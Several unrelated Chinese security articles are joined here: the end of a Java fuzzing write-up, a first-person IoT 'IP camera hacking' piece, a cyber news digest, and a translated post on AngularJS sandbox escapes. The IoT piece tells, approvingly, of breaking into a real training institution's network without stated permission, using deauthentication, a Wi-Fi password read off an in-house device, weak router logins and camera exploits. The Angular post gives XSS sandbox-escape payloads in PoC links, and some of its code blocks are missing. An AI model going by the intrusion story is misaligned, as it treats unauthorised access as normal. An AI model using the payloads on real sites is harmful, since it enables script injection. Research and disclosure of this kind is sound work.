* [Apache PDFbox的adabe字体指标解析器死循环](https://mail-archives.apache.org/mod_mbox/www-announce/201806.mbox/%[email protected]%3e) (文件16_570s_fontbox_OOM.afm)在循环近十分钟(在我的机器上)后导致内存不足。已经被修复，并分配了CVE-2018-8036。
* [使用Apache Commons Compress阅读特殊构造的zip内容时的问题](https://lists.apache.org/thread.html/3f01b7315c83156875741faa56263adaf104233c6b7028092896a62c@%3Cdev.commons.apache.org%3E)(文件14_69s_tagsoup_HTMLScanner_oom.zip)导致内存异常的问题。[Apache Commons Compress中修复了](https://github.com/apache/commons-compress/commit/a41ce6892cb0590b2e658704434ac0dbcb6834c8)，分配CVE-2018-11771。另一个创建的zip文件（file 15_680s_commons_IOE_push_back_buffer_full.zip）运行了十一分钟（在我的机器上），导致IOException。并出现了一个提示：“the push back buffer is full”，可能与这个问题有关。可能是同样的问题，Tika在处理一个zip文件（文件13_48s_commons_truncated_zip_entry3.zip）时需要花费一定时间（在20秒到十一分钟之间）。最后一个问题值得注意，因为JQF正确地检测到这是一个挂起，并将它放在AFL的挂起目录。CVE-2018-11771的底层问题是，当InputStreamReader用UTF-16调用时，读操作开始返回-1和345的交替值。重现的最小代码是：
@Test
public void testMarkResetLoop() throws Exception {
InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
ZipArchiveEntry entry = archive.getNextZipEntry();
while (entry != null) {
if (entry.getName().contains("one*line-with-eol.txt")) {
Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
int i = r.read();
int cnt = 0;
while (i != -1) {
if (cnt++ > 100000) {
throw new RuntimeException("Infinite loop detected...");
}
i = r.read();
}
}
entry = archive.getNextZipEntry();
}
}
在所有这些修复之后，我在后来的Apache Tika 1.19上再次运行Fuzz，它在十天内没有发现任何新的问题。所以我的fuzzing
Tika的方法似乎已经凉了。与往常一样，这并不意味着其他方法不会发现新的问题。
## 总结
Java的Fuzzing之旅至此为止了。我有点失望的是，JavaSecurityManager的方法没有发现任何像SSRF之类的安全问题，并且我只发现了资源管理问题。然而，我坚信这个策略前途仍然是光明的，它可能只需要换其他的目标。正如你所看到的，到处都是坑，我正计划继续Fuzzing
Java：
* 用其他ApacheCommons解析器使用Kelinci/JQF，如PNG
* 编写原生代码AFL的文件或打开socket消等消毒器
* 为基于AFL的JavaFuzz工具做一些贡献
然而，还有其他的一些个人事情要去完成。
我要感谢ApacheTika项目的TimAllison，很高兴能与他合作。非常感谢Rohan Padhye，他真的很快实现了JQF的新特性。
请确保将 <https://github.com/modzero/mod0javaFuzzingResults>
中包含的文件添加到您的输入语料库集合中，因为当我们测试一个新的库时如果有其他库的crash记录是非常棒的。 | 社区文章 |
# 黑客们的夏天—IoT环境下IP Cam快速入侵思路
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：M.A.L[@vmOS](https://github.com/vmOS "@vmOS")
## 0x00：引言
遵从摩尔定律的预言，IP Camera（国内叫网络摄像头，国外叫做IP Camera或Cyber
Camera）的价格连创新低，如果不购买厂商提供的云服务或者打了Logo的Flash Card（比如，数字公司，小米或者海康威视旗下的萤石云等），一款IP
Cam价格仅为数十元人民币。当然，你若是咸鱼上的老猫，还能拿到更加低廉的价格，虽然成色欠佳（相较于全新货品），但是质量没的说（我一口气买了仨），保证你该看的看得到，不该看的也跑不掉。正是如此，在我们身边几乎每一个角落（除撒哈拉，腾格里，马兰戈壁滩或者沿海孤岛）几乎到处都有IP
Cam，大到飞机场，高铁站，巨型Shopping
mall，小到你家楼下二姑妈的小舅子开的早餐铺子或者奶茶店。那么，我们能否沿用我们team惯有的“做案”手法，在Android或iPhone上基于Linux模拟器快速搞定某个公共场所的IP
Cam呢？并且，考虑到手机自身的供电问题以及可能的“身份暴露”，我们如何才能在最短的时间内搞定任意规模网络下的IP Cam呢（哪怕一个IP Cam也行啊）？
## 0x01：我们是这样想的
### 1)问题的讨论范围
**1.1)关于网络**
——我们所测试的“目标”都是无法从运营商网络中找到的局域网，IP
Cam通常是通过一个无线路由器和运营商的一个光猫（这年头，估计也没有电话线拨号的猫了吧）接入互联网。当然，某些情况下“目标”中IP
Cam所在的网络甚至无法接入互联网，这正是IoT Hacking的魅力所在（当然，IoT Hacking也有很操蛋的地方——费钱）。
——我们hacking所用到的设备（Android设备和iPhone手机）仅能通过Wi-Fi接入“目标”网络。当然，我们要强调一点，我们不一定是直接通过Wi-Fi接入IP
Cam所在的网络，或许会拿下intranet中的某一台IoT设备，然后开启热点并以此作为“中间人”切入到IP Cam的核心网络。
**1.2）“中间人”**
由于整个Hacking是没有任何预演的，这也是IoT
Hacking很独特的地方——并不是所有的hacking都能复现，因为你这一生或许只有一次机会能接触到“目标”（比如，看守所……）。当然，我们也不可能预先通过互联网侵入“目标”，然后在内网弄一个立足点。
——整个hacking过程中几乎都会接触到Wi-Fi Router，但是能接触到的几乎也只有这货。然而，这货存在remote
exp的概率不大，因为你会发现有太多品牌的Wi-Fi
Router了，你没有足够时间去网上找exp，调试exp，完了再用exp去打router。有这闲工夫，干点啥不好啊。。。
——IoT设备。既然做IoT
Hacking当然免不了IoT设备。不过，我们还得再强调一点，不要限制自己的想象，大胆地去想象各种可能的IoT设备，你会发现经验的贫瘠同样会限制你的想象。而且，这些IoT设备很可能会帮助你绕过Wi-Fi密码这一关口，直捣黄龙！相信我，没错的。
——前面，我们都说了我们用手机干掉IP Cam，因此就别去用传统的hacking思路了，别老是惦记着管理猿的电脑和f*cking domain srv。
**1.3)穿着雨衣的淋浴**
因为我们选择了不一样的hacking设备作为我们的工具平台，那么我们必须适应这个平台给我们带来的诸多麻烦。
——近源的hacking。我们必须想法设法靠近“目标”，尤其是当你选择了以Wi-Fi信号无比糟糕并因此而臭名昭著的iPhone时，你更得想办法靠近靠得更近，要么靠颜值，要么靠卖萌，要么靠装逼。。。
——hacking的时间持续性。腰不好，靠肾宝；手机没电，得找充电宝（不知道哪个8th Turtle
Egg想出来的）！虽然Linux模拟器功耗并不大，Wi-Fi的流量也挺小，但是耐不住电池容量有限啊，不够持久是智能手机作为Hacking
Platform的一个严重问题（心塞）。
——一次就好！如前文所说，IoT Hacking具有很强的频次限制，时间不够持久，那也就算了，完了次数还很少（崩TM想歪了）。
## 0x02：怎么干？
### 1)不能瞎干，得准备
毛主席说过：不打无准备之仗，不打无把握之仗！虽然，我们不知道最终的“目标”是什么，因为我们team最稀饭的就是hacking while
walking！但是，功课还是得做啊！
——常用的默认网关地址。首先，我们得提出表扬，绝大多数网管猿都是好学生、好徒弟，按照师傅说的把网关地址规规矩矩的配置为…1或者…254。其实，从网络运维的成本和可能的人员更迭的角度来考量，这的确算得上一个好习惯，但凡事不总得分两面看吗，对不对？
——主流IP Cam的默认密码。虽然，Wi-Fi
Router在登录口令安全性上已经做了很多不近人情但确实安全有效的策略，比如首次登录必须改密码，密码复杂度不再那么B
B，甚至重置都还得让你扫个码。但是，IP
Cam这玩意儿没做的那么好，一众一线品牌依沿用传统的默认账户和口令，当然也可能是人家替上帝们考虑得多了些，自然就把安全因素考虑得少了一些。
——主流IP
Cam的各种exp，当然侏罗纪晚期或白垩纪早期的漏洞最好就别考虑了。从我们的观察来看，部分厂商可能（再说两遍，可能，可能）默认开启了高危漏洞自动升级、打补丁功能，因此那些解决珍藏价值的漏洞就别考虑了呗。再者，IP
Cam成本低啊，据master说，更新换代、要经费的事儿，leader们都抢着干呢！你还掺和啥呀。。。
## 2)干掉Wi-Fi
按照套路来看，Wi-Fi这个拦路虎是必须掰倒的，当然总有些密码命太硬，就别死磕了，绕着道儿走就完了呗。Team之前在安全客写过文章，大致好像是关于IoT环境下的Wi-Fi密码破解（好像是这么个title），大致思路如下（排名不分先后，关键看个人喜好）：
——弱口令。由于Wi-Fi密码自身的社会属性，你可以根据“目标”所处的场合，使用各种不同的弱口令进行尝试。比如，在我们麻省的各大茶楼和麻将馆，“88888888”一直都是我省Wi-Fi弱口令爬行榜榜单上的霸主，且始终无法撼动。我家楼下麻将馆就这个密码（我姥姥跟我说的）。。。
——第三方软件泄露。习惯性从心，此处略过1万字。。。
——在线爆破。这个是master正在研究的课题（据说，是要用最原始、最简单、最粗暴的办法搞定最让人*疼的WPA3），不懂的请绕道，别哔哔，后面master会放大招的。
——抓包破解。这类文章太多了，再省略几百个字儿吧。。。
——Fluxion社工诱骗。首先，不好使；再者，不好使，在手机的Linux模拟器上就没法使（至少当前Fluxion版本如此）；最后，如果没人输密码，你觉得能好使吗？F*ckiing
Fluxion
### 3)大海捞针
从接入一个网络到搞清楚其大致拓扑是需要一个过程的，尤其在你没有路由器或者网关密码的时候，当然有些网络会部署网络流量监控设备（往往有无需密码的预览界面），这在一定程度上可以加速网络拓扑认知的过程。然而，内部网络中的子网发现往往是必不可少的。
——traceroute进行路由发现。搞清楚自己在网络中所处的位置还是很重要的，尤其是当你在一个10段里头。
——ndis，一个非常mini的内网发现小脚本，具有一定的可扩展性。我个人不建议使用nmap进行子网发现，毕竟我们要的和nmap能做的并不完全一直，甚至是后者所能提供的一个微小子集。因此，我们还是建议针对各个子网可能的默认网关地址，如前所说的师傅们要求配置的…1或者…254。实践证明，这玩意儿确实好使，而且可以自动兼容Linux和Darwin（MacOS）。如果你觉得有必要，完了还可以给它加上随机扫描的功能。这个小玩意儿也是master做的，你们有兴趣可以在gayhub上下载：<https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/ndis>
——网关与路由，网络拓扑信息就直接体现在这些网络设备上，通过他们可以很快找到你所在网络可能触及到的其它子网，但并非全部。也就是说，不能把宝全压在这上头。
### 4)摸鱼
网络拓扑结构搞清楚了，自然就要浑水摸鱼了。Nmap无疑是这活儿的最佳担当，当然也有一些专门针对Hikvision IP
Cam的扫描工具，如果你不能确定内网的IP Cam产品类型，最好还是老老实实的。
通常，IP
Cam会开放22，23，80等端口，毕竟需要给用户留出配置的交互接口。因此，我们可以基于ndis的结果，使用nmap对所发现的网段进行扫描。由于过滤掉了那些未启用的子网，整个扫描的时间消耗会急速下降。再者，考虑到内网延时极低，可以配合使用—min-hostgroup参数，来一个极致加速。
还有一个问题就是，像小米，萤石等家用的IP
Cam是基于云架构，因此通常不会开放Web配置或SSH配置所需的端口。但是，它们通常会启用UPNP来穿透内网，因此不要放过这些UPNP端口。
## 0x02：达闻西与“要你命三千”
其实，我一直很不爽星爷对默默无闻、脚踏实地的科研工作被研究人员“达闻西”的无情讥讽与嘲弄。为什么呢？你见过哪一款工具能够“人挡杀人，佛当杀佛”吗？Kali再强，那不也是一堆“砖瓦”垒砌来的。国外有人说“除了吃饭，其他一切我都可以用Metasploit完成！”你看，Metasploit那也不是万精油啊，能替代了刀叉筷杵，斧钺剑戟吗？因此，我个人是非常认可达闻西同志的致命武器：要你命三千！向达闻西同志致敬！
在IP Cam这事儿上，我们会用到以下几个工具，个顶个都是可以独挡一面的“绝世武器”：
——Kali Nethunter。虽然，nethunter一身臭毛病，问题是人家知错能改啊，稳定啊，更新及时啊，留给你自个儿的空间大啊。
——ndis。据说，master已经反复修改、调优，但看起来也不咋地，不知道他老人家是不是传错版本了。听说，人老了记性就容易不好（哈哈哈…）。完了，他死活不愿意把随机ping功能加上去，扔一句“谁要用，谁改去”。得了，惹不起，躲着呗。。。
——nmap。其重要性和不可替代性，不言而喻，也就不哔哔了
——kurl。在我看来，这玩意儿就是一个demo，用来验证curl可以应对各种常见类型的HTTP-Authentication。哈哈哈，刚好绝大多数的IP
Cam都是采用HTTP-auth认证的，因此master的demo其实是一把没有开刃的杀猪刀啦。当然，谁要用，谁改去。于是，我改了一个版本，还行，挺好使的。
## 0x03：上硬菜吧
### 1)校园网环境下的IP Cam Hacking
其实吧，这个案例不是我完成的，是DuncanSec的小羊羔（L.A.M）去广元参加了一个比赛，完了顺手把一个什么信息技术学院的Wi-Fi内网撸了一把（[https://www.anquanke.com/post/id/240652）。](https://www.anquanke.com/post/id/240652)
L.A.M一开始尝试了各种可以切入该学校校园网的方法，但是因为账号等问题始终无法达到目标。后来，他遵从我们team一贯以来的hacking while
walking原则，在他们学校的一个物联网学院找到了网络接入口。当然，他一开始并没有直接奔着IP Camera去，但是他的确搞定了他们的IP Cam
录像机。关于这个case，具体内容大家去看看小羊羔崽子的原文本。IP Cam也不例外，弱口令仍旧是这类设备的一大安全隐患。
### 2)一个培训结构
暑假来了，我的一大任务就是带着我弟去培训班。这个培训班挺有意思的，他们有两个无线Wi-Fi，一个是给像我这种陪读书童的公共Wi-Fi；另一个是给内部员工专用的叫做“xxx-staff”。都不需要使用任何的工具或者技术手段，从他们墙面儿上贴的“温馨提示”就能找到Wi-Fi密码。虽然，我很确信这两个Wi-Fi是在同一个无线路由器下头（省钱啊），但是我依然很期望搞到他们的员工Wi-Fi密码。
抓包是已经成功了的，毕竟他们那么多员工，总有一个的手机会很容易被deauth命令强制下线的。不过，我并没有去尝试破解握手包。因为，我瞅着他们有一台Seewoo，明显是安装的Windows
10系统。于是，乘着四下无人的时候，直接翻看了他们内部员工用的“*-staff”Wi-Fi密码。其实，这类通过IoT设备截取Wi-Fi密码是整个IoT
Hacking中有效获取Wi-Fi密码的一种有效方式。还是那句好，不要轻易就去约束自己的发散思维。
通过弱口令，可以登录到TP-Link的企业级路由器（支持Wi-Fi）的，可以看到详细的Wi-Fi Router配置。
通过ndis可以快速发现192.168打头的两个C段网络。其中，192.168.*.1其网关信息如下。可以看出，这家培训机构应该不缺钱，还专门买了网络安防设备。然而，该设备自带的绝大多数安全防范功能并未启用。
在这个Wi-Fi所处的子网中存在大量的海康威视IP
Cam，利用网上比较容易获取的Cxx-2019xxx漏洞，发现该漏洞已经被修补。即可可以确认，该漏洞极有可能是自动修补的，这么小一个培训机构（小微企业）不太可能安排专任负责IP
Cam这类物联网设备进行升级、更新。
### 3)一个图书馆
这是一个很大的图书馆，里面有大量的IP Cam，查询终端，智能借阅/退阅设备等等。然而，不巧的是，近期该图书馆正在进行Wi-Fi网络的升级。而且，很多可以用作“中间人”的设备都在很显眼的位置，没法持续操作。完了，发现有一个Wi-Fi看起来很像是正在调测的图书馆公共Wi-Fi，再挣扎一把，尝试抓包。结果，等了半天没有任何数据。。。天意如此，那就先放个占位符在这里吧。
## 0x04：打个结
1、IP Cam机会没有任何保护。当然，我们所说的保护并非在IP Cam上安装HIPS，而是说就算内网配备了企业级Wi-Fi路由器，甚至是安全设备，这些设备几乎都不会被启用，完全沦为摆设。
2、在我们身边广泛存在。虽然IoT Hacking是个费钱的研究，但是很多IoT设备其实在身边广泛存在，可以进行一些Ethical Hacking。
3、更多的攻击面。IoT的应用速度实在太快了，已经远远走在了人们安全意识转变速度的前头。当很多人的网络安全还停留在PC端的时候，他所拥有的的IoT设备数量或许已经远超其占有的PC数量。就像前文提到的，seewo这样的智能触屏黑板（电子屏幕）能够直接将Wi-Fi密码暴露给我们。
4、对于Hacking技术的约束更多了。一方面，移动端的算力远远不及PC；另一方面，很多PC端的“王道”工具，比如Burpsuite等还没发在Linux模拟器上使用，还需要一些时日。
5、IoT设备沦陷往往会对内网造成更加直接的影响。因为应用场景特殊加之运维人员安全意识的不足，这些设备一旦沦陷，黑客就能直接触碰内网。这一点与传统的Web渗透差别较大。国内，即便hacker轻易拿下外网的服务器，这些服务器很可能在运营商或者云服务商的机房，再者还有防火墙，IDS，IPS兜底啊。
6、运维人员和使用者对IoT安全的理解存在普遍的欠缺，甚至有点“鸵鸟效应”，尤其是在基于Wi-Fi搭建的IoT环境中。虽然，hacker很难接入网络，但这并非绝对不能接入。而且，即便如此，这也不应该成为直接使用无线路由器和网络安全设备默认密码而不进行更改的原因啊。
## 0x05：参考
1. L.A.M. 基于智能手机的近源渗透案例分享——持之以恒. <https://www.anquanke.com/post/id/240652>
2. 閦蠱. Kurl——轻量化http-authentication在线暴破工具. <https://www.anquanke.com/post/id/245018> | 社区文章 |
# Conti再下一城拿下印尼央行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[](https://p2.ssl.qhimg.com/t0123e47d740be8ce9a.jpg)
第205期
> 你好呀~欢迎来到“安全头条”！如果你是第一次光顾，可以先阅读站内公告了解我们哦。
>
> 欢迎各位新老顾客前来拜访，在文章底部时常交流、疯狂讨论，都是小安欢迎哒~如果对本小站的内容还有更多建议，也欢迎底部提出建议哦！
## 1、Conti再下一城拿下印尼央行
最近一个月已经有无数大公司被Conti勒索软件成功攻击索取巨额赎金，印尼央行在今天也发通知确认系统上月遭勒索软件攻击。
报告声明，攻击者加密并窃取了员工的非敏感数据，但十几个系统因此服务中断，采取措施后已缓解，并未影响业务。Conti即刻表示对此次攻击负责，威胁不付赎金就公开13.88G的数据。安全媒体就此事咨询印尼央行但未得到答复。
FBI、CISA等机构均发布过Conti勒索软件的预警，印尼央行和昨天的RRD一样显然没听进去。[[阅读原文]](https://www.bleepingcomputer.com/news/security/indonesias-central-bank-confirms-ransomware-attack-conti-leaks-data/)
## 2、为乌克兰不被干涉美国决定干涉乌克兰高官实施制裁
乌克兰如今网安乱象任谁看了都胆战心惊，美国作为撺掇乌克兰反抗俄罗斯的幕后黑手更是如此。
继前几天指责俄罗斯网军攻击乌克兰后，今天又以确保乌克兰不被干涉为由，强行制裁乌克兰前高官，称其与俄罗斯联邦安全局串通，提供乌克兰关键基础设施信息辅助攻击。财政部对他发布制裁后，同时公布了他的部分信息，如其接收到的指令是阻挠乌克兰西方一体化的努力，窃取关键基础设施资料等，根据资料显示，该“特工”已“功成身退”移居俄罗斯莫斯科，这也是美国认为他是内鬼的有力证据。[[阅读原文]](https://www.bleepingcomputer.com/news/security/us-sanctions-former-ukrainian-official-for-helping-russian-cyberspies/)
## 3、FBI发现Trickbot新马甲Diavol
FBI加班加点分析完Diavol后终于得出结论，其出自Trickbot组织之手。
Diavol最初于去年7月被发现，安全研究员认为它与Conti极为相似，但没有足够证据将两者联系起来。一个月后，IBM安全研究员挖掘到Diavol与Trickbot有联系的新证据。近日FBI则正式宣布，确认Diavol就是出自Trickbot组织之手。
虽然FBI直到10月才开始接触Diavol，失掉了先手优势，但凭借独有的资源，加班加点终于成功把Diavol归因于Trickbot组织。他们透露其中几个原因是勒索的金额、票据和前后端内容，并发布防范Diavol报告和相关IoC。[[阅读原文]](https://www.bleepingcomputer.com/news/security/fbi-links-diavol-ransomware-to-the-trickbot-cybercrime-group/)
## 4、Crypto.com发现400余账户被黑数千万美元失窃
Crypto.com发现400余账户被黑客攻击，涉案金额数千万美元，但目前资金没有风险。
Crypto.com是当前第三大加密货币交易平台，用户量和资金池都极为庞大，安全研究员统计此次攻击涉案金额将超过3000万美元，但CEO认为这个数字没有意义因为资金目前都很安全。
Crypto.com已暂停了所有代币提现功能，并展开调查尝试恢复攻击前的状态。[[阅读原文]](https://www.bleepingcomputer.com/news/security/cryptocom-confirms-483-accounts-hacked-34-million-withdrawn/)
## 5、Anomalous恶意软件“异常”窃取工控系统信息
安全研究员近日发现新的针对工控系统的恶意软件，并将其命名为Anomalous（异常）。
件如其名，它异常得很：相比大多恶意攻击几个月甚至上年的生命周期，它平均只有25天，短时间、小代价、少目标，精准完成任务。不仅如此，它还罕见地使用SMTP协议传递敏感信息，使得更难被安全防护系统检测。
对样本分析后发现，它主要目的是窃取员工账号密码并横向移动，有趣的是，企业的反垃圾邮件系统因为隐藏了垃圾电子邮件还无意中帮助恶意软件隐匿身形。据统计，超过2000个邮箱账号被攻击者改造为C2，7000个账号信息泄露售卖到暗网。[[阅读原文]](https://www.bleepingcomputer.com/news/security/anomalous-spyware-stealing-credentials-in-industrial-firms/) | 社区文章 |
# 【技术分享】基于DOM的AngularJS沙箱逃逸技术
|
##### 译文声明
本文是翻译文章，文章来源：portswigger.net
原文地址：<http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
去年，在发表的“[XSS Without HTML: Client-Side Template Injection with
AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)”中，我们展示了使用AngularJS框架会导致网站遭遇跨站脚本攻击（XSS），只需有个合适的沙箱逃逸。在本文中，我们将介绍如何开发一个能工作在之前不可利用的上下文中的沙箱逃逸——过滤器排序。我已经编写了整个利用开发过程，包括各种不太完善的技术。
**
**
**0x01 Angular沙箱历史**
当第一次发布Angular时还没有沙箱，因此在版本1.0-1.1.5是没有沙箱的。但是Angular表达式被开发者限定为局部对象定义，这阻止了在窗口对象中调用函数，因为你将被作用域限制，如果你试图调用alert，将调用的是作用域对象而不是窗口对象，函数调用将失败。Mario
Heiderich找到了一种方式，使用构造函数属性绕过这个限制。他发现使用Function构造函数你能在表达式中执行任意代码。
在这里，constructor的作用域是Object构造函数。constructor.constructor是Function构造函数，允许你生成一个以字符串为参数的函数，因此能执行任意代码。
在Mario的利用之后，ensureSafeMemberName函数出现了。这个函数针对构造函数属性检查JavaScript属性，同时拒绝包含下划线开头或结尾的字符串。
Jan horn发现第一个公开的沙箱逃逸是针对版本1.2.0的。
他使用sub函数（是一个很古老的javascript的string方法）作为一个快捷方式，能在Angular中获得一个函数，因为它是一个非常短的名字。然后使用call.call能得到一个类call方法；正常情况当你是用单独的call方法将在当前函数执行，但是使用call.call的类call方法将允许你选择一个函数执行。
他然后使用getOwnPropertyDescriptor得到函数原型对象的描述符和构造函数的属性。描述符是描述一个对象属性的对象文字；它能告诉你属性是否是可枚举、可配置和可写的，和它是否有getter和setter。“value”也将包含属性值的引用。
Value将包含Function构造函数的引用，是他发送给call方法的第一个参数。第二个参数不重要——它的目的是指定执行函数时使用的对象，但是Function构造函数会忽略它并使用窗口对象代替。最后他传递他希望执行的代码，通过Function构造函数生成一个新的函数成功沙箱逃逸了。
为了回应这个精彩的绕过，Angular增强了他们的沙箱。他们增强了ensureSafeMemberName函数，以检查指定的属性名（如__proto__）。
他们也增加了一个新的函数来检查引用或调用函数时指定的对象。函数ensureSafeObject检查Function构造函数，窗口对象，DOM元素和Object构造函数。
然后，关于沙箱逃逸有个小爆发，每个版本的Angular沙箱都被打破了。我写了[一篇博文](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)关于我的沙箱逃逸，并且也列举了从早前的逃逸到最新版本(1.5.11)的逃逸。最终Angular决定为了性能在1.6版本中完全[移除沙箱](http://angularjs.blogspot.co.uk/2016/09/angular-16-expression-sandbox-removal.html)，因为他们不考虑将沙箱作为一个安全特性了。
**0x02 开发基于DOM的沙箱逃逸**
****你可能认为沙箱逃逸没啥意思了，因为在Angular 1.6将被移除了。然而却完全不是。在我在伦敦的演讲后，[Lewis
Ardern](https://twitter.com/lewisardern)指出了[在过滤器排序中也能执行Angular表达式](https://blogs.synopsys.com/software-integrity/2016/12/28/angularjs-1-6-0-sandbox/)，并且开发者可能使用用户的输入（如location.hash）来设置过滤器顺序。
我注意到解析的代码在没有“｛｛”和“｝｝”的情况下被解析和执行，并且$
eval和$$watcher在沙箱环境中不可用。这使得之前大量的沙箱逃逸都失效了，因为我们依赖$
eval和$$watcher。如果我们看过下面公开的沙箱逃逸，你能看见只有一个内容排序的可以使用，其他的都失效了。
我决定从1.3.0版本开始。首先的问题是我不得不解决如何在这个环境中枚举对象，以便我能看见什么属性是可靠的。修改String原型提供了一个有用的方法以检查沙箱代码；我能分配我想要的属性来检查相同的名字的字符串原型，然后使用setTimeout得到那个值。代码如下：
然后我从Angular源代码中提取了所有的关键字和变量，并在[沙箱中运行](https://jsfiddle.net/0Lh8rw3b/3/)。尽管代码无法告诉我有类似$eval危险的函数能用来沙箱逃逸，但是我还是发现了有趣的行为。当使用带有[].toString的Object原型定义一个getter时，我发现join函数会被调用。这里的想法是的到join函数以调用Function构造函数，传参，并执行任意的JavaScript。我使用的fiddle在[这里](https://jsfiddle.net/0Lh8rw3b/4/)可以找到。在主流的浏览器中使用toString函数作为对象的getter或方法将自动调用join。不幸的是，我不能找到一种方式来传递参数。下面是在Angular代码之前的工作原理。
它甚至能在Windows上工作。下面的例子使用[].toString覆盖了窗口的toString属性，并且你能看到join被调用了。
因此，我模糊测试了所有的对象和属性，看到了其他的函数也调用了join。当是使用定义数组中的getter也会调用join：copyWithin, fill,
reverse, sort, valueOf, toString。
**
**
**0x03 打破1.3.0**
****非常酷的行为，但是我决定改变方向，并尝试些别的东西。我继续研究1.3.0，注意到当改变Object原型时，你能引用Function和Object构造函数。当调用Function构造函数时，Angular将抛出异常，但是因为我能访问Object构造函数，我就能访问它所有的方法。
我是用数组属性访问器来绕过Angular的ensureSafeMemberName检查，因为Angular使用严格的等号运算符来查找危险字符串。使用之前提到的对象枚举技术，我看见了Object构造函数成功被赋值了。我首先创建一个getOwnPropertyDescriptor的引用，然后给它赋值变量“g”。
接下来，我使用getOwnPropertyDescriptor获得Function原型描述符。我将稍后使用它得到Function构造函数。
我也需要defineProperty，因此我能覆盖构造函数的属性以绕过Angular的ensureSafeObject检查。
下面是我使用defineProperty覆盖构造函数为false。
最后，我使用getOwnPropertyDescriptor得到描述符，以得到不使用构造函数属性的Function构造函数。
完整的沙箱逃逸代码如下，在Angular 1.2.24-1.2.26/1.3.0-1.3.1中有效。
**[沙箱逃逸PoC 1.3.0](http://portswigger-labs.net/angular_dom_based_sandbox_escapes/?version=1.3.0#%7B%7D%5B%5B%27__proto__%27%5D%5D%5B%27x%27%5D=constructor.getOwnPropertyDescriptor;g=%7B%7D%5B%5B%27__proto__%27%5D%5D%5B%27x%27%5D;%7B%7D%5B%5B%27__proto__%27%5D%5D%5B%27y%27%5D=g%28%27%27.sub%5B%5B%27__proto__%27%5D%5D,%)**
**
**
**0x04 1.3的分支**
沙箱逃逸非常酷，但是它只能工作于有限的Angular版本中。我想覆盖整个1.3分支。我开始查看他们如何解析表达式。在测试版本1.2.27中我在1192行中添加了断点，开始测试各种对象属性，看他们如何重写代码。我得到了一些有趣的事，如果没有包含字母数字属性，Angular似乎会吃掉分号字符，并将它作为对象属性。
下面是Angular如何重写代码（注意必须在调试器中继续5次）：
如你所见，Angular在重写输出中包含两次分号。要是我们打破双引号会怎样？我们能使用基本的XSS攻击重写代码，并绕过沙箱。为了实现这个，我们需要提供一个可靠的字符串给Angular，因此我们不能破环初始的表达式解析。Angular也能很好的解析带有引号的对象属性，因此我能最小程度上沙箱逃逸：
重写输出如下：
[沙箱逃逸PoC 1.2.27](http://portswigger-labs.net/angular_dom_based_sandbox_escapes/?version=1.2.27#%7B%7D.%22,alert%281%29,%22;)
为了将这个应用于1.3分支，我们只需要稍微改变向量，以打破重写代码。如果你观察1.3.4版本的重写代码，你能注意到它创建了一个语法错误。
我们只需要打破这个，注释输出语法错误，下面是最终的向量，能在1.2.27-1.2.29/1.3.0-1.3.20中有效。
[沙箱逃逸PoC 1.3.20](http://portswigger-labs.net/angular_dom_based_sandbox_escapes/?version=1.3.20#%7B%7D.%22%29%29%29;alert%281%29//%22;)
**0x05 攻破1.4**
****接下来，我决定研究1.4分支。在1.4之前的版本可以使用数组访问__proto__，__defineSetter__的技巧。我认为我可以使用那些属性/方法中的部分来完成沙箱逃逸。我需要覆盖构造函数并能访问Function构造函数的，但是这次我不能访问Object构造函数，因为沙箱的功能增强了。
在Safari/IE11中，设置全局变量使用__proto__是可能的。你不能覆盖已存在的属性，但是你能创建新的。这是个死胡同，因为定义属性的优先级高于Object原型。
因为Angular在ensureSafeObject使用有效的检查，我认为使用boolean可能会是检查失败，然后能访问到Function构造函数。然而，Angular检查了对象链中所有的属性，因此它能检测到构造函数。下面是它如何工作的。
通过将它的__proto__属性赋值为null来覆盖Function的构造函数属性也是可能的，这将使得构造函数未定义，但是如果使用Function.prototype.constructor，您能得到原始的Function构造函数。这被证明是另一个死胡同，因为为了覆盖Function构造函数的__proto__属性，你需要先访问它，
但是Angular会阻止。你能覆盖每个函数的构造函数属性，但是很不幸你不能访问原始的。
在Firefox
51中，使用__lookupGetter__得到函数的调用者是可能的。所有的其他的浏览器阻止使用这种方式。但是在Angular中没有提供函数，再次是个死胡同。
我继续看了使用__defineGetter__和valueOf来创建Function构造函数的别名。
你也能使用getter执行一个函数，通常需要一个对象。因此“this”值成为赋值给getter的对象。例如，__proto__函数不会无对象执行，使用getter允许你使用__proto__函数得到对象原型。
上面的技术将失败，因为即使我创建了Function构造函数的别名，还是没有办法在不破坏构造函数属性的情况下访问Function构造函数。但是它给了我一个想法。也许我可以在窗口作用域内使用__lookupGetter__/__defineSetter__。
在Chrome中，你能保存__lookupGetter__的引用，并且使用窗口作为默认的对象，使你能访问文档对象。
你也能使用__defineSetter__。
Angular将直接函数调用（如alert()）转化为Angular对象的方法调用。为了解决这个，我使用间接调用‘(l=l)’，使得__lookupGetter__执行于窗口上下文中，保证了文档对象的访问。
现在有了文档对象的访问，因此能终结Angular了？还没有。Angular还会检查每个对象是否是DOM值：
当getter函数被调用时，Angular将阻止文档对象。我认为我能使用__defineGetter__赋值getter函数，但是这将破环窗口的引用，因此文档不会被返回。我测试了Chrome
56.0.2924.87中的每个属性以观察哪个getter是可靠的，只有__proto__和文档是可靠的。然后我决定测试Chrome beta
57.0.2987.54，得到了大量的getter。
我浏览了所有的getter，开始测试观察我是否能执行任意代码。我发现我能盗取localStorage和向导历史记录，但是没啥威胁。在测试一段时间后，我注意到事件对象是可靠的。每个事件对象有一个target属性，其引用了事件当前的DOM对象。结果是Angular不会检查这个属性，我能使用target属性执行代码得到文档对象和defaultView，以访问窗口然后赋值location。
